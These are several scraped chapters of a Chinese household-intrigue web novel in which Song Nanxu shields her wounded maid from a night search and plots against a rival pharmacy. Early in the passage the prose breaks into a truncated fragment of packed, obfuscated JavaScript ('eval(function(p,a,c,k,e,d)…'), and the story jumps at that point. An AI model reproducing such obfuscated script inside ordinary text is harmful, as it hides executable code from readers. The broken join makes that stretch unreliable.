翠珠俯身为宋南絮系上了领口的绑带:“姑娘,让奴婢陪着您吧。” 宋南絮轻轻地拍了拍她的手:“今儿晚上青雀侍夜,她留下便好。” “是。” 翠珠起身,瞧了一眼站在姑娘身边的青雀。 青雀平日里很少和她们说话,就连用饭也是将饭菜夹到碗里坐在角落中一个人独用,翠珠总是觉得她不合群,觉得她伺候不好姑娘。 但,姑娘好像格外的器重她。 翠珠拉过了青雀,叮嘱道:“今儿风大切记关严门窗,准备个暖炉在外间备着……” 宋南絮听了,不禁有些想笑。 翠珠是李嬷嬷一手调教出来的,这絮叨起来的模样,瞧着越发像是年轻时的李嬷嬷了。 她以袖掩唇,浅笑出声:“现在还未出阁你便如此唠叨,赶明儿可得让李嬷嬷给你寻摸一个话少的姑爷,也省的俩人日后拌嘴。” 翠珠闻言,微微红了脸,嗔了自家姑娘一眼:“奴婢这还不是为了你么!” 宋南絮莞尔:“好好好,是我不识好人心了。” 翠珠:“奴婢可不敢责怪姑娘。” 说罢,她还不忘继续叮嘱青雀:“姑娘现下的铺盖都单薄些,你晚上给她换李嬷嬷送来的那套苏绣面被。” “是。” 翠珠叨咕了半晌,青雀来来**只有一个‘是’字。 “哎!”翠珠叹了一口气,无奈地摇了摇头:“可都记住了?” 青雀颔首道:“是。” 翠珠抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽不知道他是否在安远侯府中受得伤,但既是潜入侯府十之**于之有关。 宋南絮面色沉了两分,不由压低了声音,声音低沉对青雀郑重说道:“今日只要你稍作打探,切莫不可打草惊蛇,无论结果如何,势必要全身而退!” 青雀双手抱拳:“是!奴婢知道!” 第92章 身受重伤,人在何处 沉沉更鼓,渐渐声绝。 更鼓声敲了三下,在漆黑而静谧的夜晚中显得极是突兀。 深秋夜晚的风又急又凶,摇晃着窗外的枯树的枝条凌乱的摆着,好似吃人的魑魅张牙舞爪,拍着窗棂“啪嗒啪嗒”的响。 宋南絮睡得浅,稍有声响便睁开了眼。 一阵肆虐的风吹开了离间的窗,她起身穿上了绣鞋行至窗前,正欲关窗时,忽然听见一阵阵急促的脚步声,紧跟着的是一阵铜锣声响。 宋南絮推开了窗,仔细听着院门外的动静。 不多时,她便瞧见了西边耳房亮起了烛光。 这是—— 宋南絮心中蓦地有一种不祥的预感。 这阵铜锣的声音—— 难道说青雀失手了!? 不等她多想,忽然之间,一道黑影从屋檐上跌落而下,重重地摔在了她的窗前,宋南絮接着浅薄的月光,瞧见那团黑影快速地起身,朝她房间冲了过来。 “姑娘!” 门外倏地响起了青雀的声音。 宋南絮心头一紧,连忙给她打开了门:“可是受伤了!?” 青雀扯下了遮住她半张脸的黑色面纱,抬手拭去了嘴角的血迹。 宋南絮倏然蹙眉,下意识朝门外看了一眼,见耳房门被人打开,她立即掩上了房门,扶着青雀进了里间。 青雀的状态差极了。 苍白的脸色仿佛漆上了一层白烛,左肩上一支弓箭直穿肩胛骨。 宋南絮扶她坐在了自己的床上,解开了她领口的盘扣,当看见了她的伤口时,不由得瞪大了眼睛:“怎会伤得这么严重!?” 青雀紧咬着后槽牙,强忍着疼痛,气若游丝地道:“内书房重新布局设置了机关,而且——” 她的眸色倏地一沉,声音也跟着凝重了几分:“侯府内宅的巡夜护卫之中有一名百步穿杨的神箭手,其箭法极为玄妙,能拉百斤长弓,可同时射出三支弓箭,我一时大意,才会着了他的道!” 箭手!? 宋南絮十分诧异。 前世今生,这是她第一次听说安远侯府内竟然有隐藏的高手! 她是知道青雀的身手的,几名普照庵的杀手围攻之下,青雀方可凭借一己之力杀出重围,然而今夜试探宋萧然内书房竟然受了如此重伤。 宋南絮的脸色变得阴沉了下来。 如此说来,萧止所追查之事,或许真的和宋萧然有脱不开的关系! 现下并没有给宋南絮留多思考的时间,一切都以青雀的伤势为先。 “别管这些了,先处理你的伤势要紧。” 宋南絮垂下了眸子,凝眸望着青雀肩上的箭伤。 青雀扯下了夜行衣的一条袖子咬在口中,紧咬牙关道:“来吧!” 宋南絮知道她所指的是什么,深吸了一口气,屏气凝神,用力地点了点头道:“好!我要拔箭了!” 青雀紧皱眉心,额间、鼻尖渗出了稀碎的汗珠。 她提起了一口气,死死地咬着嘴里的半截衣袖。 “噗!” “嗯!” 宋南絮将箭拔了出来的一瞬间,青雀倏地闷哼一声。 “呼……呼……” 肩上伤口处,鲜血汩汩外涌而出,青雀大口大口地喘着粗气,好半晌,她才喘匀了气息,声音沙哑地道:“姑娘,我身上有金疮药,你……你……” 宋南絮从青雀的身上摸索到了一个白玉瓷瓶,打开了瓶塞,将其中的药粉撒在了青雀的伤口上,她拉过了床上被子,扯成了布条,为青雀包扎了伤口。 青雀长长舒了一口气,缓缓地抬起了右手拭了拭额间的冷汗:“姑娘——” 她刚欲开口,宋南絮倏地眯了一下,将手指竖在唇边做了一个噤声的动作。 青雀立即会意,没有继续说话。 紧接着,房门外传来了翠珠的声音:“姑娘,侯爷身边的长随来了。” 宋南絮用力地眯了一下眼。 没想到,宋萧然的人竟这么快就找来了。 宋南絮将青雀扶了起来,启动了房中机关,朝她使了一个眼色。 青雀点了点头,快速走近了密室当中。 宋南絮扫了一眼房中,除了绣床上房间内便无一点血迹,她明白这便是青雀为了一直没有拔掉弓箭的原因。 她快速地将床上染血的被褥扔进了密室之中,简单地整理了一下自己的仪容,这才点燃了房中的烛台。 屋内有了光亮,宋南絮启唇,声音中带着被突然吵醒的火气,以及刚刚睡醒时的慵懒:“让他们在院外等着。” 披上了外裳,宋南絮举步走到了房门。 “咔哒”一声,卸下了门栓,打开了房门,她面色冷肃,神情不悦,目光淡漠地扫了一眼站在房门外的贾荣和薛宝瑞:“出了什么事?” 二人相视一眼,薛宝瑞举步上前,双手交迭朝宋南絮拜了拜:“回大小姐的话,有贼人潜入府中,惊扰了侯爷,特命我们二人前往各房各院排查。” “有贼?!” 宋南絮表现的极佳。 在听见薛宝瑞说府里闯入了贼人时,她先是瞪大了双眼,瞳眸之中满是惊恐,紧接着,捂住了胸口,下意识地向后倒退半步,忙不迭地扶住了翠珠的手,又似受到了惊吓的鸟儿一般左右看看。 半晌,宋南絮平稳了气息,开口急声问道:“父亲那边如何了?” 薛宝瑞道:“大小姐放心,侯爷那边无碍,为了确保府中女眷安危,还请姑娘清点院中人数,可否少了谁?” 清点人数! 宋南絮暗暗压了压眉心,只是须臾,她眉心舒展,微微颔首:“翠珠,你带薛先生和贾先生去瞧瞧咱们院子里可有缺了谁,少了谁。” 翠珠应声:“是。” 随即,侧过了身朝东西两侧的耳房做了个请的手势:“二位先生请。” 贾荣拿着府中人数记档跟在翠珠身后,随她在墨香居中清点人数,薛宝瑞却始终站在房门口不做言语。 只是片刻的工夫,翠珠和贾荣折返而回。 贾荣面色有异,快步走到了薛宝瑞的身侧,在他的耳畔轻声说道:“墨香居中有一个唤青雀的下等女使不在房中。” 薛宝瑞闻言,深深地皱起了眉头。 他眸光冷肃,缓缓看向宋南絮:“大小姐,墨香居中可有一位青雀姑娘?不知道她现在人在何处?” 第93章 桃花村内,母子三人 “青雀啊?!” 宋南絮面色如常,一双秋水剪瞳无波无澜,神色淡然道:“我差遣她出去了。” 薛宝瑞挑了一下眉。 今夜有人潜入侯爷内书房,侯爷身边的暗卫射伤了此人,他与贾荣带人搜查,跟着血迹沿路到了墨香居附近,便没有了任何踪迹。 二人怀疑那潜入侯爷内书房的人进了大小姐的墨香居,这才打着宋萧然的旗号行盘差各房各院女使的名义,实则是到墨香居查看刺客下落。 不曾想,刚一盘点女使人数,还当真少了一人。 深夜里,大小姐差遣一个末等女使出城? 当真会有这么巧合的事?! 薛宝瑞微挑的眉头渐渐拧在了一块儿:“大小姐,这深更半夜的差遣女使出城,可否告知薛某她去了何处?” 宋南絮淡淡道:“城外。” 薛宝瑞又问:“敢问大小姐,您让她去城外做什么?” 宋南絮:“帮我拿些昔日旧物。” 薛宝瑞:“大小姐有何旧物需要漏夜出门?” 宋南絮唇角微微上扬,缓步走到了薛宝瑞面前,脸上笑容变得越发浓郁了起来:“金陵城西郊外十五里的桃花村,不知道薛先生可还记得?!” 听闻‘桃花村’三字,薛宝瑞瞳孔猛然一缩! 他满眼不可置信地看着宋南絮,微张着嘴半晌没有说出一个字来。 宋南絮不疾不徐,面上依旧是笑吟吟的:“薛先生该不会是忘了吧?七年前——” 薛宝瑞眸色倏地一寒:“大小姐是在威胁薛某么?!” 宋南絮淡淡道:“怎会呢!薛先生忠心耿耿,乃是这安远侯府中一等一的衷仆,我只是恰巧听到有人要害那村子里的妇人以及她的一双儿女。” 她说话的声音轻轻柔柔的,但却像是一把锋利的刀子,直刺进了薛宝瑞心头。 薛宝瑞屏气凝神,一双瞳眸一错不错地盯着宋南絮。 宋南絮笑了笑,说道:“我身边的青雀有点子功夫在身上,先生大可放心,绝对无人能伤那母子三人的性命。” 薛宝瑞垂下了眸子,声音低沉地说:“多谢大小姐!” 宋南絮莞尔:“薛先生无需客套,只不过是举手之劳而已,至于是什么人想要那母子三人的性命,我想先生应该比我更清楚吧。” 薛宝瑞自然知道,只是他不曾想,原以为是妻子平日里的胡言乱语,谁知道她竟然真的—— 沉吟半晌,薛宝瑞抬头看向宋南絮:“敢问大小姐,他们娘仨现在身在何处?” 宋南絮道:“青雀是入夜后才离开的,想必这会儿也应该接到人了。” 薛宝瑞闻言,松了一口气,说:“小姐大恩,薛某来日再报,今夜叨扰小姐了。” “不妨事。” 宋南絮微微颔了颔首:“待人接回来后,我必让薛先生父子团聚。” 薛宝瑞双手抱拳:“多谢小姐,薛某还要继续追查潜入侯爷内书房的歹人,便不打扰小姐休息,告退。” 宋南絮抬手朝着墨香居大门做了一个请的手势:“薛先生慢走,翠珠替我送送先生。” “是。” 墨香居外。 贾荣倏地驻足,用力地拉住了薛宝瑞的衣袖:“大小姐同你讲了什么?你脸色怎么变得如此难看?!” 薛宝瑞攥紧了拳头,这一瞬,他杀人的心都有了。 只是—— 此事乃是他的家事,与侯府并没有半点关系。 “我的私事与你无关!” 薛宝瑞用力地甩开了贾荣的手,愤愤地朝前走。 贾荣深深地皱起了眉头,三两步追上了薛宝瑞:“你说得倒是轻巧,人没有搜到,要我如何跟侯爷交代?!” 薛宝瑞冷冷瞥了贾荣一眼:“你实话实说便可,我可以肯定,大小姐身边的婢女并非潜入侯爷书房之人!” “你怎能如此确定?” 薛宝瑞一个狠辣的眼神投射过去,贾荣立马住了口。 他深吸了一口气,声音低沉地说道:“你用的脑字好好想想,大小姐一个闺阁在室女,又在庵堂为老太太祈福五年,她才刚回了府中,差遣人潜入侯爷内书房作甚?” 贾荣闻言,仔细思量了片刻,方觉得薛宝瑞说得有些道理,可转念一想,他又觉得有什么地方不对劲儿:“那你刚刚还要搜大小姐的院子?” “你……” 薛宝瑞懒得和贾荣废话,加快了脚步朝宋萧然内书房方向走。 送走了薛、贾二人后,宋南絮让墨香居的女使们都回房歇息,她回了房中,插上了门栓,回到了里间直接进入了密室之中。 密室内灯火通明宛如白昼,让宋南絮没想到的是萧止竟然也在密室之中。 宋南絮蹙眉,眼睛中带了三分猜忌地看向萧止:“你怎么在这里?” 萧止依旧是一副慵懒散漫的模样坐在椅子上摇着手中折扇:“我若不来,你这婢女怕是死在这里也无人得知。” 宋南絮连忙快步走到了矮榻前,俯身检查起了青雀的伤势。 身后忽地传来了萧止的声音:“给她用了宫中的紫金断续膏,待伤势恢复后,并不会留下任何隐患。” 他才不会告诉宋南絮,自己是因为睡不着,在飘絮庐外独自饮酒,依稀听见密室内传出阵阵声响,担心这女人会出什么事,才会—— 宋南絮眸光变得柔和了几分:“谢谢。” 萧止挑了一下眉,以折扇掩住了半边面容,以免让宋南絮瞧见他折扇后撇着的嘴。 这女人先前对他还是冷冰冰的,这会儿见他救了青雀,竟然就换了一副嘴脸。 果然—— 女子都是善变的! 心中虽然这么想,但萧止却不敢宣之于口。 生怕又是那句话没说对,惹得宋南絮不高兴。 宋南絮卷起了帕子,擦去了青雀脸上黄豆粒般大小的冷汗。 先前在墨香居中虽为青雀临时止了血,但时间急迫,也不过是潦草而已,幸得萧止—— 思及此,宋南絮抬眸瞥了一眼萧止。 萧止的眼睛始终凝固在宋南絮的身上,见她回过了头来,立马避开了她的视线。 “咳!”萧止轻咳了一声,转移了话题:“瞧着箭伤的力度与角度,射箭之人的技艺必然十分精湛,放眼金陵城中唯有一人能够做到!” 宋南絮凝眸望着萧止:“谁!?” 第94章 原本是人情,现在变威胁 “前朝金吾卫大统领——刘勋!” 萧止眸色倏地一寒,似有凛冽杀意磅礴而出,只一瞬,仿若整间密室的温度都随之下降了几分。 宋南絮感受到了萧止的异样。 她凝眸望着萧止,似乎是想要在他的脸上找到什么答案一样。 但,仅仅只是一瞬,萧止的脸上便恢复了以往玩世不恭的神情,就像是什么都没有发生过一样。 宋南絮敛去了眸子里的试探:“堂堂金吾卫大统领怎么会甘心拘在侯府内做一个护卫?” 萧止哂笑出声:“呵!只怕,这位刘大统领还以为自己隐藏的很好呢!” 宋南絮微一蹙眉。 萧止竟用了隐藏二字! 可见,这其中似乎有什么别人不知道是的隐情。 宋南絮忽地想到了什么:“我们初次相见时,伤你的可是此人?” 萧止摇了摇头,虽否定了宋南絮的提问,却也并未告知真正伤了他的人是谁。 宋南絮并没有继续追问,而是换了一个问题:“这位前金吾卫大统领可是和承晏太子有关?” 萧止闻言,沉了脸色,只是须臾,便又恢复如初:“算是吧。” 他略微沉吟了片刻道:“刘勋乃是承晏太子旧部,当年谋逆一案他便是五个主告人之一,神宗赦免了这五人的死罪改为流放岭南,但这五人却在流放途中被截杀——” 宋南絮神情冷肃,红唇微启,冷冷道:“截杀是假,营救才是真!” 萧止勾唇,冷然一笑:“刘勋既已出现在安远侯府,那么看来——” 宋南絮接过了他的话:“昔日之事必定和我父亲有关!” 萧止不置可否地颔了颔首,并没有继续说下去。 即使他不去说,宋南絮也能猜出其中一二,能让曾经的金吾卫大统领为之效力的人,想必此事定和宋萧然脱不了关系。 “嗯……” 二人正说着话,床榻上的青雀倏地闷哼了一声,紧接着,她眼帘微掀一线,模糊的视线之中倒映出了两道身影。 视线逐渐变得清晰。 当青雀看清了宋南絮和萧止时,她立马想要起身,却因着左肩上的伤口所带来的疼痛让她无法动弹。 青雀深吸了一口气,重新调整好了自己的气息:“姑娘!!” 宋南絮轻轻地在她右肩上拍了拍:“你别动,仔细身上的伤。” 青雀微一颔首,缓缓躺了下来。 她眼角余光似是无意瞥了萧止一眼。 萧止给了她一个淡定的眼神。 青雀眸色微敛,看向宋南絮道:“姑娘,奴婢先前在密室之中听见有人来搜墨香居!!” 宋南絮点了点头:“你放心好了,已经打发走了。” 青雀蹙起了眉头:“奴婢听见姑娘说是用桃花村那母子三人来保了奴婢的周全。” 宋南絮起身走到了密室中的桌案前,折返回到了青雀的身边,动作轻而慢地将她扶了起来,喂她饮了一口温水。 见青雀脸色稍有缓和,宋南絮方才道:“他们母子三人本就是用来收服薛宝瑞所用,只不过是提前日程而已,无关要紧,只是,还需要你再跑一趟将人接回来交到薛宝瑞手上。” “奴婢这就去。” 青雀应声便要起身。 宋南絮却制止了她:“切莫着急,现下人已经到了金陵城中,你暂且多歇息一阵。” “是。” 桃花村的母子三人,本就是宋南絮的一枚棋子。 正如她说言那般,这母子三人一定是会送回到薛宝瑞手中的,但却并不是现在,如此一来,她将失去一个卖给薛宝瑞人情的机会。 机会没有了,宋南絮可以再找,但他绝对不会在让自己身边人出事! 萧止凑到了宋南絮面前:“桃花村?” 宋南絮抬眸嗔了他一眼,却还是解释给他听:“薛宝瑞乃是我父亲身边的长随,此人深得我父亲的信任,且此人心术手段极高,明面上虽为长随,但却是一名出色的谋士。” 萧止:“你想要买通此人?” 宋南絮轻哂一声:“薛宝瑞自小跟在我父亲身边,想要买通他绝无可能,我偶然间得知了,他早年间有一红颜知己,为他生下了一双儿女后被安顿在了桃花村,我救下了他们也只是想要让薛宝瑞欠我一个人情罢了,只是现在威胁多过人情,以此人的心计怕是应该对我多有忌惮了。” “既然不能为我所用那便杀之以绝后患。” 萧止轻描淡写间,便在心中给薛宝瑞判下了死刑! 宋南絮却微微摇头:“此人我要留着,将来必有大用!” 萧止:“那便随你心意,暂且留他一条性命。” 算算时辰也快要天亮了,便让青雀动身前往京郊将人接进金陵城:“与其遮遮掩掩,不如大大方方的让薛宝瑞知道你受了伤,他不会为难你的。” “是。” 青雀从密室的另外一侧通道离开,宋南絮也回了墨香居。 梳洗过后,翠珠、翠柳为她上妆更衣。 翠珠为宋南絮梳好了发髻,从梳台屉子里拿出了簪花、步摇、华盛在她发髻上比了比,最后选出了一支适合今日妆造的白玉蝴蝶发簪。 “这薛先生也真是的,大半夜带人满府的寻常什么刺客,惊扰了咱们姑娘,昨夜定是没有睡好,瞧姑娘眼下这乌青。” 翠柳为宋南絮敷了粉,青黛化了眉。 宋南絮透过铜镜,瞧着自己的面前,缓缓抬手摸了摸自己的脸。 但凡世家大族中的女儿,及笄之年便要许下婚事,而她却在及笄过后被送往了普照庵中,蹉跎了五年的岁月,如今她已经二十岁了。 翠珠微微蹙眉,轻轻地拉了一下翠柳的胳膊,对她微微摇了摇头。 宋南絮却并不在意:“不妨事。” 梳妆后,她看了一眼翠珠:“先前让你给彩玉寻一门亲事可有人选了么?” 翠珠道:“奴婢仔细大量过了,老太太身边的王妈妈家中有一远房侄儿尚未娶妻,现下为老太太搭理庄子,为人敦厚老实,老太太有意给他个管事当当,奴婢觉得倒是个合适的人选。” 宋南絮扶着翠珠的手站了起来:“找个合适的机会让彩玉瞧瞧,得她自己相中才好。” “奴婢打着老太太寿辰的名号,已经让彩玉跟在去取庄子里送来的贺礼,这会子俩人应该已经见面了。” “祖母的寿辰快要到了。” 宋南絮脸上浮现出了一抹柔和的笑:“咱们府里也应该好好热闹热闹了。” 第95章 陈年旧事,颇有渊源 “姑娘……姑娘……” 刚出了墨香居的门,宋南絮便瞧见李嬷嬷急吼吼地往这边走。 李嬷嬷来到近前,深吸了一口气,道:“姑娘,您快跟老奴去瞧瞧老太太发了好大的脾气!!” 宋南絮急声问道:“谁惹祖母发这么大的火?” “今儿一早侯爷带着闲月阁那位去给老太太请安了!侯爷明知道老太太不喜白氏,可就——哎!”李嬷嬷重重叹了一口气:“老太太方才连最是喜欢的青玉斗都摔了!” 青玉斗是老太太最喜欢的茶盏,老太太竟连它都砸了,那足以说明是被气狠了! 宋南絮不敢怠慢,较快了步子随着李嬷嬷去了荣安堂。 刚踏进院门,忽地听见主屋里传来了严氏如同洪钟般的声音:“念芹、盼芙,你们拿着我的长枪和佩剑,倘若她再敢到我院子里来,就给我将人打出去!” 宋南絮微微挑了一下眉。 未等翠珠、翠柳掀开荣安堂的门帘,她先开了口:“听听,咱们老太太的声音既浑厚又嘹亮,若是不知道的,还当时那位沙场点兵的女将军呢。” 听见了宋南絮的声音,严氏的脸色这才稍稍缓和了几分:“你这丫头惯会拿你祖母寻开心,杵在外头作甚?还不速速进来!怎的?当你祖母脾气上来拧你的耳朵么?” 翠珠、翠柳掀开了帘子,宋南絮面带微笑走近了老太太的屋里。 严氏见了她,先前再有火气,此时此刻也消散了七分,朝宋南絮招了招手,示意她坐到自己身边连。 宋南絮站在原地没有动,抬手捂住了自个儿的耳朵:“孙女可不敢过去了,祖母的手劲儿连铁核桃都捏得碎,更何况我是这细皮嫩肉的。” 严氏指了指她,扭头看了一眼身侧的宁、王二位嬷嬷:“你们瞧这丫头,现在胆子越来越大了,都敢拿她祖母打趣儿了。” 宋南絮行至严氏身边坐了下来,挽起了她的胳膊:“孙女儿哪里是在拿您打趣儿,方才在门口听您骂人中期十足,声如洪钟的,想必祖母的身子是康愈了,我这是心里头高新呢。” 听了宋南絮的话,严氏微微一怔。 往日里,她这身子骨多走几步路就喘的厉害,多说几句话就咳起来没完,现在—— 严氏微微一愣,连忙瞧着屋里的几个嬷嬷。 几人也是面面相觑,全然没有反应过来,老太太的身子竟然好转了。 宋南絮微笑,扶着老太太的胳膊:“祖母,我扶您到院子里走走吧。” 老小孩,老小孩,说得就是严氏这种性格。 她出身将门,一身的风骨傲气,到老了依旧是这番做派,就算是把天捅破个窟窿,那也是人家有本事,她不喜之人,哪怕捧着珍宝满匣到她的面前,她也是嗤之以鼻。 宋南絮打了个岔,成功的转移了话题。 严氏开始感受起了自己的身边,全然忘记了刚刚的愤怒。 宋南絮陪着她在荣安堂的院里走了一大圈,老太太脸不红,气不喘的:“现在看来,祖母您的身子是彻底好了。” 她侧目,瞥了一眼身边跟着的翠珠:“你去一趟济世堂把颜大夫请来。” 老太太还想在院子里多转转,却被宋南絮拦了下来:“祖母,您身子才刚好,理应多歇息才是,待会儿让颜大夫瞧了,若她应允,我再带您出来走走。” 严氏握住了宋南絮的手,重重地拍了两下:“好,好,祖母都听你的。” 宋南絮扶着老太太回了屋里,命人上了茶水、点心。 祖孙二人坐在一块儿,宋南絮见老太太喝了一盏茶,心也顺了,气也消了,她才这开口道:“祖母,颜大夫之前说过您最忌期许不顺,切莫不可因为不相干的人而动了肝火。” 严氏舒了一口气:“若不是你父亲带她来我这里,我岂会……哎!你年纪小,有所不知,她与你父亲——” 老太太开了这个头,便将宋南絮和白氏之间的陈年旧事告诉了宋南絮。 宋南絮这才得知,当年白家还未获罪前,就与宋萧然有了首尾,因此暗结珠胎,才得到了祖父的许可,许了二人的婚事。 可是没过多久,白家就因文字狱而株连获罪,白氏没入教坊司。 在后来的事情宋南絮便都知道了。 镇北将军府最看中的就是规矩、礼数,如白氏这般行经,难怪老太太会看不上她。 “罢了罢了,咱们不说他们了。” 严氏握着宝贝孙女儿的手:“你得了青云剑一事,你父亲可有寻你?” 宋南絮微微摇了摇头:“未曾。” 昨日她们从端淑大长公主府中归来,崔氏见白氏入了府,便结结实实地闹了一场,宋萧然一门心思都扑在了闲月阁,还未曾找过她。 “呵!”严氏冷笑出声:“你父亲是越老越糊涂了!现下满心满眼都是那贱人,哪里还顾得上你!” 宋南絮不以为意地笑了笑。 这位父亲,她看得透彻,相信用不了多久,便会寻上她的门。 宋南絮见荣安堂里间只剩下她们祖孙二人,便改了话锋,凑到了严氏的身边,压低了声音问道:“祖母,您可知道昔日神宗在位时承晏太子谋逆一事么?” 严氏闻言,面色倏地一变,一双眸子当中瞬间涌上了一层森然的寒意,她下意识紧了紧握着宋南絮的手:“你为何会突然问起承晏太子?你可是知道了什么?!” 听祖母的话,想必她必然是知道其中密辛! 宋南絮并未将萧止一事告知严氏,而是随口扯了个谎:“两日前,父亲的金印失窃,孙女儿无意间在看见了关于承晏太子旧案的卷宗,一时好奇便想问问祖母可知道什么。” 严氏松了一口气:“原来如此。” 她垂下了眸子,脸色恢复了方才的慈爱温和:“哎!说起来,承晏太子还与我有些渊源,他的一身武艺皆受教与我的兄长,也就是你的舅公。” 宋南絮大为震惊:“您说我的舅公是传授承晏太子武功的师傅?那昔日承晏太子谋逆可有牵连到镇北将军府么?” 第96章 斩草除根,凿船沉药 “哎!” 严氏重重叹息。 说没牵连是假,自承晏太子出事后,镇北大将军府一落千丈,遭到了神宗的猜忌,严氏一族仅存的最后一丝血脉,她兄长的幼子被任命为出使柔然的使者。 姑侄俩一别便是生与死。 严氏的侄儿死在了异国他乡,竟连尸首都—— 思及此,严氏眼含热泪,缓缓闭上了眼睛,两行眼泪潸然而落。 至此,镇北大将军府也只剩下严氏一人。 过去种种,如同一根刺深深地扎进了她的心里,那里有她无法言语的伤痛。 宋南絮知道触及到祖母的伤心事,便也不再继续追问下去,用帕子轻轻擦拭去了祖母眼角的泪水。 严氏缓睁双眸,强挤出了一丝苦笑:“都是过去的事了,还提它来作甚。眼瞧要到晌午了,你留下来陪祖母一块用午膳可好。“ “嗯。”宋南絮颔首,应了一声。 不多时,翠珠请了颜央入府为老太太诊脉。 宋南絮眼中满是期待地望着颜央:“颜大夫,我祖母的身体如何了?” 颜央并未立即回答宋南絮的话,她眉宇间似有解不开的结,好半晌后,她眉心缓缓舒展,脸上有了喜色,朝着宋南絮颔首道:“恭喜了,老夫人体内的淤毒已经彻底排除了,再加上,经过这阵子的调养,老夫人已经无碍了。” 闻言,宋南絮面色大喜:“颜大夫,谢谢你。” 颜央摆了摆手:“我收了你的银子,自当全心全意医治老夫人。” 宋南絮对于可用之人向来毫不吝啬。 她从翠珠的手中接过了荷包,将满满一包银子递到了颜央手中。 颜央接过来掂了掂,这分量至少有三十两银子。 她十分满意地笑了笑:“谢了。” 没有丝毫客气地将银子放进了自己随身携带的医药箱中。 宋南絮命人给颜央上了茶水、点心,自个儿服侍老太太午睡后送颜央出府:“近来,回春堂的人可还要去你药堂捣乱么?” 听宋南絮这么问,聪明如颜央便猜出了暗中帮自己的人是她。 颜央笑笑:“我还在想回春堂那些臭番薯、烂鸟蛋最近怎么都安生了呢,合着,原来是你帮了我的忙。” 宋南絮莞尔:“不过是用了点小手段而已,却也只是治标不治本的法子,倘若你想要让回春堂不再来扰,未有——斩草除根!” 颜央闻言,微微一愣。 回春堂不过是因为医术不及,变着法的抢济世堂的生意。 要是斩草除根的话—— 颜央忍不住打了一个寒噤,下意识往四下瞧了瞧,往宋南絮的身边凑了凑,压低了声音说道:“不过是些恶心人的小把戏而已,我也用不着杀人吧?!” “呵呵!” 宋南絮没忍住笑出了声音。 瞧着颜央谨小慎微的模样,怕是她理解错了意思。 她微笑摇头:“我不是让你对回春堂的人斩草除根,是要将药堂……” 颜央还是没明白:“那不还是一个意思么?” 宋南絮解释道:“去其根本,打其七寸,让回春堂再无立锥之地便可。” 颜央松了一口气:“原来是这个意思啊。” 她蹙着眉头,挠了挠头:“可回春堂的背后貌似有权贵之家的扶持,我一个孤女,去和被背景的药堂争斗,无疑是蜉蝣撼树。” 宋南絮微微勾起了嘴角:“此事说难不难,只看你要不要去做。” 颜央闻言,微微蹙起了眉头。 她刚到金陵城开医馆时,凭借自己一身医术闯出了一些名堂,却在回春堂开设之后,连饭遭受打击,一开始只是断了济世堂药材的供应,到后来三不五时便会有人登门寻衅滋事,轻则砸了她的医馆,严重时甚至连两个聋哑的伙计也不放过。 这种日子,颜央忍受够了,才会在回春堂的人登门时将其打回去。 为长久计,宋南絮所言也不无道理。 只是—— 颜央凝眸望向宋南絮:“我要怎么做才能断了回春堂的根本呢?” 宋南絮:“太师府姜三公子!” 颜央不解,眸子里满是疑惑。 宋南絮解释道:“你口中那位回春堂背后之人,便是姜太师长房一脉的三公子——姜崇安。此人与其他兄弟不同,不喜文墨,不善武功,偏偏喜欢经商之道,娶的是商贾人家的女儿,回春堂便是他妻子娘家亲戚的产业。” 颜央眨着眼睛,像是听见了什么高门大户的秘辛似的,眼睛里充满了期待。 宋南絮继续道:“据我所知,姜崇安于数月前在江南一带进购了大批的药材,只可惜,入秋以来,江南雨水不断河水大涨,想要将这批药材运进金陵城,必然要走漕运这一条路,倘若,天有不测风云,那船沉了,他的药材——” 颜央越听越是糊涂。 她知道毁了一船的药材,对于药材商来说将会是巨大的打击。 但,漕运向来严谨,断然不会出现沉船一事,更何况,她远在千里之外的金陵,哪有这手眼通天的能耐,能够凿船沉药!! 颜央的嘴角微微抽搐了两下:“宋姑娘,你实在是太抬举我,我哪里有这个本事。” “你有!” 宋南絮斩钉截铁地道:“前些时日我去你药堂时,恰巧见你救治了一位老人家,你可知她是何身份?” 颜央治病救人,上到权臣勋贵,下到贩夫走卒,全凭个人喜恶,那些欺男霸女的世家大族,商贾富户,她就使劲地坑他们的银子,那些吃不起饭的穷苦百姓,她就赠医施药。 她仔细想了想,那日宋南絮登门时,她的确是救治了一名老妇人,却不知那人是什么身份。 颜央微微摇头:“并不知。” 宋南絮:“她的儿子便是漕运如今的当家人,老太太身患重病,他将母亲安顿在金陵城中颐养天年,倘若你能寻得他的帮助——” 话不用全都说完,颜央便已明白了宋南絮的意思。 只是,治病救人是医师的职责,她又怎能挟恩图报,况且,她可是收了诊金的。 宋南絮似乎看出了她的想法,唇角微微上扬勾起了一抹浅浅的笑:“不出三日,他便会运送一批绸缎进城,若恰巧在他母亲瞧病时,回春堂的人上门寻衅滋事,我想,他应该很愿意帮你这个忙。” 第97章 小人之心,君子之腹 “这法子——” 颜央沉思便宜。 与其和回春堂无休止的颤抖,这倒不失为一个办法。 回春堂掌握着金陵城中大大小小数十家医馆、药堂的药材供应,等同于捏住了他们的命脉。 若不是颜央精通采药、制药的法子,只怕她的济世堂早就已经经营不下去了。 倘若此法可行的话,必将重创回春堂的药材供给,到时候,所有提前与回春堂签了契约的医馆、药堂上门索要药材,他们毕定拿不出来,到时候—— 宋南絮看着颜央沉思的模样,便知道她是听进去了自己的话,想到了其中的关键。 和聪明人说话,有时候就是这么简单。 她将颜央送到了安远侯府的大门口,刚好遇见了策马而来的薛宝瑞。 他翻身下马,恭敬地朝着宋南絮见了礼:“大小姐妆安。” 宋南絮微笑颔首,朝着门外抬手做了一个请的手势,侧目对颜央道:“还望颜大夫能为我祖母配制写调理的药,用以巩固她老人家的身体。” “稍后你派人到济世堂来取便可。”颜央走下了台阶,朝宋南絮微一挑眉:“等我的好消息。” 宋南絮莞尔颔首:“静待佳音。” 待颜央离去后,宋南絮转身,却见到薛宝瑞仍站在安远侯府大门口并未进去,便知道他是有话想要同自己讲。 牵动裙边,走上了台阶,宋南絮行至薛宝瑞面前:“薛先生昨夜搜寻潜入父亲内书房的贼人可有结果了?” 薛宝瑞皱了一下眉头:“并没有任何头绪。” 宋南絮神色从容,不惊一丝一毫波澜:“经过一夜搜寻,薛先生辛苦了。” 薛宝瑞道:“薛某职责所在。” 宋南絮抬眸瞥了他一眼,见他一副欲言又止的模样,便道:“薛先生无需担心,算算时辰,我的婢女也应该将人接回来了。” 话音一落。 